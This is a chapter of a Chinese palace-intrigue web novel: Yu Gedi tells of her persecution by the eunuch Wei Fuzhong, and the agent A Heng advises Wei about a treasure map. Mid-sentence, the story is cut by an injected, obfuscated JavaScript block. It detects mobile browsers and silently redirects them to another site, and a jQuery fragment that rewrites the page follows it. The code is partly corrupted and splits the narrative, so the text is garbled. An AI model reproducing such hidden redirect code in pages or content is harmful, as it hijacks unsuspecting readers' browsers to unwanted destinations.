“我和母親弟弟被押上囚車,魏福忠就那樣遠遠地看著,我們被丟入了東廠牢獄之中,我被幾個太監架著,丟到了魏福忠的麵前。”
於歌笛將手指握攏,眉間似乎湧起了一絲惆悵,“我抬頭,質問他為什麼,我和他無冤無仇,他為什麼要害我父親?可是接下來他說出的話,卻讓我終生難忘,他說,他以前一直覺得,我是天上的月光,可望不可即,太乾淨太純粹了,隻有這樣,這皎皎的月光才會掉下來,落入泥土之中,隻有這樣,他才有機會得到我……我罵他無恥,他告訴我,隻要我肯低頭,就可以讓獄卒偷偷將我放出來……”
景暄和深吸一口氣,原來他們竟有這般的過往。
“然後呢?我問他,是不是從此以後就會成為他的禁臠?在紫禁城的角落裡,過著暗無天日的生活,仰他鼻息,再也沒有自由?”於歌笛閉上了眼睛,“他突然死死地抱住我,我很害怕,打了他一巴掌,為了氣他,我還說我就算是死也不會跟他在一起的,他連完整的男人都不是,憑什麼讓我屈服?我有未婚夫婿,我的未婚夫叫‘萬靈安’,你連他的小指頭都比不上!他似乎很憤怒,掐住我的脖子,在我快被窒息而死的時候,卻突然放了手,頭也不回地離開了……”
“所以後來,你就這樣去了邊疆苦寒之地?”景暄和有些悵然。
“是,相比於失去自由,
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938851|133616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
委身殺父仇人,我倒寧肯去那不毛之地,起碼我的心是自由的。那些年我一直在想,是不是我害了父親,若是我沒有遇見過魏福忠,他是不是就不會讓父親受那般的酷刑?可是後來,我卻想通了,魏福忠一直都是那般卑劣的人,他想要我,也想要那藏寶圖,還想用父親的死來震懾朝臣,他想要的東西太多太多了,也許我,隻是其中一個微不足道的原因罷了。”
“你想通了便好,那樣冷血的人,不值得你掛心。”景暄和鄭重地說:“我答應你,會除掉魏福忠,這世上,不會再有第二個於歌笛了。徐學士也好,徐夫人也好,我會儘力去救他們,就像去救當年無辜入獄的你父親一般。”
“謝謝你,景姑娘。”於歌笛臉上掛上了一抹微笑。
天邊好像升起一痕太陽,在湖麵上灑下金色的光輝。
“我該走了,這一走,便是永彆了。”
她臉上掛著溫柔的笑靨,隻是身體漸漸變得透明,最後消散於世間……
景暄和從夢中驚醒,這個夢太過真實,讓她竟有些分不清是夢境還是現實了。
***
此時的東廠牢獄內,傳來陣陣淒慘的叫聲,不過這叫聲並不特彆,相反,東廠的人聽到隻覺得司空見慣。
阿衡被太監引領著進入了牢獄,路過了徐學士的牢房,隻見他躺在稻草堆中,身上滿是血汙,耳朵被草率地包起來,嘴裡不知在說些什麼,看起來好像真的瘋了一般。
“黎先生,這邊請,廠公正在等你。”小德子精明的眼睛一閃,道。
阿衡點頭,麵上仍是雲淡風輕的樣子,黎正已經告訴過他怎麼做了,所以他並不緊張。
魏福忠手上正拿著棗木煙杆,吞雲吐霧,房間內擺放著用刑的架子,上麵還有暗紅的血跡,魏福忠隻是盯著那架子,不知在想什麼。
“廠公安好。”阿衡淡淡道。
“黎先生,請坐。”
魏福忠讓小德子給他端上凳子。
“黎先生提供的計策很好,趁著徐夫人失蹤的間隙打徐家一個措手不及,如今徐家垮了,我們的首輔大人大概會手忙腳亂一段時間吧。”
“剪除萬靈安的羽翼固然重要,可是要鬥倒萬靈安這個人,卻不簡單,廠公還需深思熟慮啊。”阿衡說。
“那依黎先生看,我們下一步該如何去做呢?”魏福忠吸了一口煙槍,緩緩道。
阿衡走進了一步,“廠公似乎一直都對那藏寶圖很感興趣。”
“哦?先生也知道藏寶圖的事情。”魏福忠似乎有些驚訝。
“想要為廠公做事,自然要對廠公的需要了解透徹才行啊,”阿衡頓了頓,“我知道於景漣出事後,廠公去他的府邸搜查,卻一無所獲,我最近在想,他從西域回來後,並沒有馬上回家,而是去了上次‘鮫女案’發生的河邊村,會不會,這藏寶圖還在那村子裡?”
魏福忠眸子一亮,似乎來了興趣。
“這藏寶圖來自西域,而暹羅王子的王妃麥娜爾也是西域之人,她如今就在順天府,若想破解藏寶圖的秘密,我們何不從她開始入手呢?”